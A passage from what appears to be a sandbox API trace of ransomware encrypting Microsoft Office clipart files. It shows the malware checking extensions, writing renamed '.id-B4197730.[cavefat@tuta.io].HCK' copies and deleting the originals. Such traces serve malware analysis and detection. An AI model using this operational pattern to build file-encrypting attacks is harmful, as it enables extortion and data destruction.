Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153095.wmf")) returned 1 [0238.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68 [0238.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68 [0238.456] lstrlenW (lpString=".doc") returned 4 [0238.456] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0238.456] lstrlenW (lpString=".docx") returned 5 [0238.456] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0238.456] lstrlenW (lpString=".pdf") returned 4 [0238.456] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0238.456] lstrlenW (lpString=".xls") returned 4 [0238.456] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0238.456] lstrlenW (lpString=".xlsx") returned 5 [0238.456] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0238.456] lstrlenW (lpString=".ppt") returned 4 [0238.456] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0238.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68 [0238.456] lstrlenW (lpString=".zip") returned 4 [0238.457] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0238.457] lstrlenW (lpString=".rar") returned 4 [0238.457] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0238.457] lstrlenW (lpString=".bz2") returned 4 [0238.457] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0238.457] lstrlenW (lpString=".7z") returned 3 [0238.457] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0238.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68 [0238.457] lstrlenW (lpString=".dbf") returned 4 [0238.457] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0238.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68 [0238.457] lstrlenW (lpString=".1cd") returned 4 [0238.457] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0238.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68 [0238.457] lstrlenW (lpString=".jpg") returned 4 [0238.457] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0238.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68 [0238.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68 [0238.457] lstrlenW (lpString=".doc") returned 4 [0238.457] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0238.457] lstrlenW (lpString=".docx") returned 5 [0238.457] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0238.457] lstrlenW (lpString=".pdf") returned 4 [0238.457] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0238.457] lstrlenW (lpString=".xls") returned 4 [0238.457] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0238.457] lstrlenW (lpString=".xlsx") returned 5 [0238.457] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0238.457] lstrlenW (lpString=".ppt") returned 4 [0238.457] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0238.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68 [0238.457] lstrlenW (lpString=".zip") returned 4 [0238.457] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0238.457] lstrlenW (lpString=".rar") returned 4 [0238.457] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0238.457] lstrlenW (lpString=".bz2") returned 4 [0238.457] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0238.457] lstrlenW (lpString=".7z") returned 3 [0238.457] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0238.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68 [0238.457] lstrlenW (lpString=".dbf") returned 4 [0238.457] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0238.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68 [0238.458] lstrlenW (lpString=".1cd") returned 4 [0238.458] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0238.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68 [0238.458] lstrlenW (lpString=".jpg") returned 4 [0238.458] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0238.458] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0238.458] lstrlenW (lpString="J0153265.WMF") returned 12 [0238.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153265.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0238.459] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=3008) returned 1 [0238.459] CloseHandle (hObject=0x454) returned 1 [0238.459] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153265.wmf")) returned 0x220 [0238.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153265.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0239.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153265.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0239.322] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.322] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153265.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0239.382] GetLastError () returned 0x0 [0239.382] ReadFile (in: hFile=0x568, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0xbc0, lpOverlapped=0x0) returned 1 [0239.383] WriteFile (in: hFile=0x55c, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xbd0, lpOverlapped=0x0) returned 1 [0239.384] ReadFile (in: hFile=0x568, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0239.384] WriteFile (in: hFile=0x55c, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0239.384] SetEndOfFile (hFile=0x55c) returned 1 [0239.384] CloseHandle (hObject=0x55c) returned 1 [0239.384] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.384] SetEndOfFile (hFile=0x568) returned 1 [0239.386] CloseHandle (hObject=0x568) returned 1 [0239.386] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0239.387] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153265.wmf")) returned 1 [0239.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68 [0239.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68 [0239.390] lstrlenW (lpString=".doc") returned 4 [0239.390] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0239.390] lstrlenW (lpString=".docx") returned 5 [0239.390] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0239.390] lstrlenW (lpString=".pdf") returned 4 [0239.390] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0239.390] lstrlenW (lpString=".xls") returned 4 [0239.390] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0239.390] lstrlenW (lpString=".xlsx") returned 5 [0239.390] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0239.390] lstrlenW (lpString=".ppt") returned 4 [0239.390] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0239.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68 [0239.390] lstrlenW (lpString=".zip") returned 4 [0239.390] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0239.390] lstrlenW (lpString=".rar") returned 4 [0239.390] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0239.390] lstrlenW (lpString=".bz2") returned 4 [0239.390] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0239.390] lstrlenW (lpString=".7z") returned 3 [0239.390] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0239.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68 [0239.390] lstrlenW (lpString=".dbf") returned 4 [0239.390] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0239.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68 [0239.390] lstrlenW (lpString=".1cd") returned 4 [0239.390] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0239.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68 [0239.390] lstrlenW (lpString=".jpg") returned 4 [0239.390] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0239.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68 [0239.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68 [0239.390] lstrlenW (lpString=".doc") returned 4 [0239.390] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0239.390] lstrlenW (lpString=".docx") returned 5 [0239.390] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0239.390] lstrlenW (lpString=".pdf") returned 4 [0239.390] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0239.390] lstrlenW (lpString=".xls") returned 4 [0239.391] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0239.391] lstrlenW (lpString=".xlsx") returned 5 [0239.391] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0239.391] lstrlenW (lpString=".ppt") returned 4 [0239.391] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0239.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68 [0239.391] lstrlenW (lpString=".zip") returned 4 [0239.391] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0239.391] lstrlenW (lpString=".rar") returned 4 [0239.391] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0239.391] lstrlenW (lpString=".bz2") returned 4 [0239.391] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0239.391] lstrlenW (lpString=".7z") returned 3 [0239.391] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0239.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68 [0239.391] lstrlenW (lpString=".dbf") returned 4 [0239.391] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0239.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68 [0239.391] lstrlenW (lpString=".1cd") returned 4 [0239.391] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0239.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68 [0239.391] lstrlenW (lpString=".jpg") returned 4 [0239.391] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0239.391] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0239.391] lstrlenW (lpString="J0153518.WMF") returned 12 [0239.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153518.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0239.392] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=12528) returned 1 [0239.392] CloseHandle (hObject=0x568) returned 1 [0239.392] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153518.wmf")) returned 0x220 [0239.392] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153518.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0239.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153518.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0239.393] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.393] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153518.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0239.393] GetLastError () returned 0x0 [0239.393] ReadFile (in: hFile=0x568, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x30f0, lpOverlapped=0x0) returned 1 [0239.395] WriteFile (in: hFile=0x55c, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x3100, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x3100, lpOverlapped=0x0) returned 1 [0239.396] ReadFile (in: hFile=0x568, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0239.396] WriteFile (in: hFile=0x55c, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0239.396] SetEndOfFile (hFile=0x55c) returned 1 [0239.396] CloseHandle (hObject=0x55c) returned 1 [0239.396] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.397] SetEndOfFile (hFile=0x568) returned 1 [0239.399] CloseHandle (hObject=0x568) returned 1 [0239.399] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0239.399] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153518.wmf")) returned 1 [0239.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF") returned 68 [0239.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF") returned 68 [0239.400] lstrlenW (lpString=".doc") returned 4 [0239.400] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0239.400] lstrlenW (lpString=".docx") returned 5 [0239.400] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0239.400] lstrlenW (lpString=".pdf") returned 4 [0239.400] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0239.400] lstrlenW (lpString=".xls") returned 4 [0239.400] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0239.400] lstrlenW (lpString=".xlsx") returned 5 [0239.400] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0239.400] lstrlenW (lpString=".ppt") returned 4 [0239.400] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0239.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF") returned 68 [0239.400] lstrlenW (lpString=".zip") returned 4 [0239.400] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0239.400] lstrlenW (lpString=".rar") returned 4 [0239.400] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0239.400] lstrlenW (lpString=".bz2") returned 4 [0239.401] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0239.401] lstrlenW (lpString=".7z") returned 3 [0239.401] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0239.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF") returned 68 [0239.401] lstrlenW (lpString=".dbf") returned 4 [0239.401] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0239.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF") returned 68 [0239.401] lstrlenW (lpString=".1cd") returned 4 [0239.401] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0239.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF") returned 68 [0239.401] lstrlenW (lpString=".jpg") returned 4 [0239.401] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0239.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF") returned 68 [0239.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF") returned 68 [0239.401] lstrlenW (lpString=".doc") returned 4 [0239.401] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0239.401] lstrlenW (lpString=".docx") returned 5 [0239.401] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0239.401] lstrlenW (lpString=".pdf") returned 4 [0239.401] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0239.401] lstrlenW (lpString=".xls") returned 4 [0239.401] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0239.401] lstrlenW (lpString=".xlsx") returned 5 [0239.401] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0239.401] lstrlenW (lpString=".ppt") returned 4 [0239.401] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0239.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF") returned 68 [0239.401] lstrlenW (lpString=".zip") returned 4 [0239.401] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0239.401] lstrlenW (lpString=".rar") returned 4 [0239.401] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0239.401] lstrlenW (lpString=".bz2") returned 4 [0239.401] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0239.401] lstrlenW (lpString=".7z") returned 3 [0239.401] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0239.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF") returned 68 [0239.401] lstrlenW (lpString=".dbf") returned 4 [0239.401] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0239.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF") returned 68 [0239.401] lstrlenW (lpString=".1cd") returned 4 [0239.401] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0239.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF") returned 68 [0239.401] lstrlenW (lpString=".jpg") returned 4 [0239.401] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0239.402] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0239.402] lstrlenW (lpString="J0156537.WMF") returned 12 [0239.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0156537.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0239.403] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=1376) returned 1 [0239.403] CloseHandle (hObject=0x568) returned 1 [0239.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0156537.wmf")) returned 0x220 [0239.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0156537.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0239.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0156537.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0239.404] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.404] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0156537.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0239.405] GetLastError () returned 0x0 [0239.405] ReadFile (in: hFile=0x568, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x560, lpOverlapped=0x0) returned 1 [0239.406] WriteFile (in: hFile=0x55c, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x570, lpOverlapped=0x0) returned 1 [0239.406] ReadFile (in: hFile=0x568, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0239.407] WriteFile (in: hFile=0x55c, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0239.407] SetEndOfFile (hFile=0x55c) returned 1 [0239.407] CloseHandle (hObject=0x55c) returned 1 [0239.407] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.407] SetEndOfFile (hFile=0x568) returned 1 [0239.409] CloseHandle (hObject=0x568) returned 1 [0239.409] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0239.410] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0156537.wmf")) returned 1 [0239.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF") returned 68 [0239.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF") returned 68 [0239.411] lstrlenW (lpString=".doc") returned 4 [0239.411] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0239.411] lstrlenW (lpString=".docx") returned 5 [0239.411] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0239.411] lstrlenW (lpString=".pdf") returned 4 [0239.411] 